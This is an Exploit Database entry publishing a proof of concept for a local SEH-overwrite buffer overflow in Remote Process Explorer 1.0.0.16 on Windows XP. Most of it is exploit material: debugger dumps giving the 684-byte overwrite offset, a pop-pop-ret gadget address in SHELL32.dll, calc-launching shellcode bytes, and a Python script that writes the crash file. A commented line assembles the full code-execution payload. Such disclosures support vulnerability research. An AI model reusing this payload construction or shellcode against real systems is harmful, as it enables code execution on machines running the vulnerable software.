

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Remote Process Explorer 1.0.0.16 - Buffer Overflow (PoC) (SEH Overwrite)

EDB-ID:

46304

CVE:

N/A

EDB Verified: ✘

Author:

[RAFAEL PEDRERO](#)

Type:

[DOS](#)

Exploit:  

Platform:

[WINDOWS](#)

Date:

2019-02-01

Vulnerable App:



 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```
# Exploit Title: Remote Process Explorer v1.0.0.16 - Denial of Service
(PoC) and SEH overwritten Crash PoC
```

```
# Discovery by: Rafael Pedrero
```

```
# Discovery Date: 2019-01-30
```

```
# Vendor Homepage: http://lizardsystems.com/action.php?
```

```
action=home&product=rpexplorer&version=1.0.0.16
```

```
# Software Link : http://lizardsystems.com/action.php?
```

```
action=home&product=rpexplorer&version=1.0.0.16
```

```
# Tested Version: 1.0.0.16
```

```
# Tested on: Windows XP SP3
```

```
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow
```

```
# Steps to Produce the Crash:
```

```
# 1.- Run rpexplorer.exe
```

```
# 2.- copy content rpexplorer_Crash.txt to clipboard (result from this
python script)
```

```
# 3.- Go to "Add computer" and paste the result in the first textbox and
click in Add button.
```

```
# 4.- Select "AAAAAAAA...." computer, right mouse button and Connect and
you will see a crash.
```

```
...
```

```
Detect:
```

```
SEH chain of thread 00000144
```

```
Address SE handler
```

```
0114FEC8 78413977
```

```
41387741 *** CORRUPT ENTRY ***
```

```
EAX 0114FEBC
```

```
ECX 0114FEC0 ASCII
```

```
"w5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az
```

```
EDX 41347741
```

```
EBX 0116236C
```

```
ESP 0114FBF0
```

```
EBP 0114FEC0 ASCII
```

```
"w5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az
```

```
ESI 000000D4
```

```
EDI 00000000
```

```
EIP 00404F48 rpexplor.00404F48
```

```
C 0 ES 0023 32bit 0(FFFFFFFF)
```

```
P 1 CS 001B 32bit 0(FFFFFFFF)
```

```
A 0 SS 0023 32bit 0(FFFFFFFF)
```

```
Z 0 DS 0023 32bit 0(FFFFFFFF)
```

```
S 0 FS 003B 32bit 7FFDC000(FFF)
```

```
T 0 GS 0000 NULL
```

```
D 0
```

```
O 0 LastErr ERROR_SUCCESS (00000000)
```

```
EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)
```

```
ST0 empty
```

```
ST1 empty
```

```
ST2 empty
```

```
ST3 empty
```

```
ST4 empty
```

```
ST5 empty
```

```
ST6 empty
```

```
ST7 empty
```

```
3 2 1 0 ESPUOZDI
```

```
FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)
```

```
FCW 1272 Prec NEAR,53 Mask 1 1 0 0 1 0
```

```
Log data, item 24
```

```
Address=0BADF00D
```

```
Message= SEH record (nseh field) at 0x0114fec8 overwritten with normal
pattern : 0x41387741 (offset 684), followed by 308 bytes of cyclic data
after the handler
```

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Check after script:

SEH chain of thread 00000D04

```
Address   SE handler
0114FEC8  43434343
42424242  *** CORRUPT ENTRY ***
```

Log data, item 53

```
Address=7E6E5E50
Message= 0x7e6e5e50 : pop ebx # pop ebp # ret 0x04 | asciiprint,asci
{PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH:
True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)
```

...

#!/usr/bin/env python

...

```
calc = ("\x31\xC9"           # xor ecx,ecx
        "\x51"               # push ecx
        "\x68\x63\x61\x6C\x63" # push 0x636c6163
        "\x54"               # push dword ptr esp
        "\xB8\xC7\x93\xC2\x77" # mov eax,0x77c293c7
        "\xFF\xD0")          # call eax
```

...

```
crash = "\x41" * 684 + "BBBB" + "CCCC"
#crash = "\x41" * 684 + "\xEB\x14\x90\x90" + "\x50\x5e\x6e\x7e" + "\x90" *
24 + calc + "A"*(1000 - 32)
f = open("rpexplorer_Crash.txt", "w")
f.write(crash)
f.close()
```

Tags:

Advisory/Source: [Link](#)

Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)[PRIVACY](#)[ABOUT US](#)[FAQ](#)[COOKIES](#)

©

[OffSec Services Limited](#) 2026. All rights reserved.